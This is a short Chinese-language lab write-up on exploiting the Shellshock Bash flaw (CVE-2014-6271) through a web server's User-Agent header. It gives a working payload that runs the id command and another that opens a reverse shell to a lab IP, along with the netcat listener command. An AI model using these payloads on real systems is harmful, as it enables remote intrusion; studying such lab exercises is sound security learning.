0x00 前言
声明:本文仅做学习交流,遵守《网络安全法》。
先学习原理,一个挺老的漏洞了。该漏洞可以通过构造环境变量的值来执行想要执行的攻击代码脚本,会影响到与Bash交互的多种应用,包括HTTP、OpenSSH、DHCP等。
总的来讲,攻击者通过控制变量进行远程代码执行。
0x01 CVE-2014-6271
先通过nmap进行端口扫描。

访问8080的时候发现是apache的主页面。

这样不行啊,这得扫描后台。

有新的收获。访问之后发现是很有名的 hello world。


要不是地址不同我还以为浏览器没什么变化呢。这怎么办?抓个包吧。在User-Agent处写上payload。
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id

成功看到用户id。那说明id这条命令已经被执行了,那就可以......
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/bash -i >& /dev/tcp/192.168.217.177/8888 0>&1
开启nc之后,构造上面的poc。
nc -nlvp 8888

BurpSuite没有回显,但是nc有回显了。

0x02 总结
一开始执行id的时候是没有回显的,以为是Burp的包构造问题,后来发现是payload构造的有问题。另外,在回弹shell的时候,由于payload写的有问题导致回弹失败。 //多打了一个"/" 真丢人
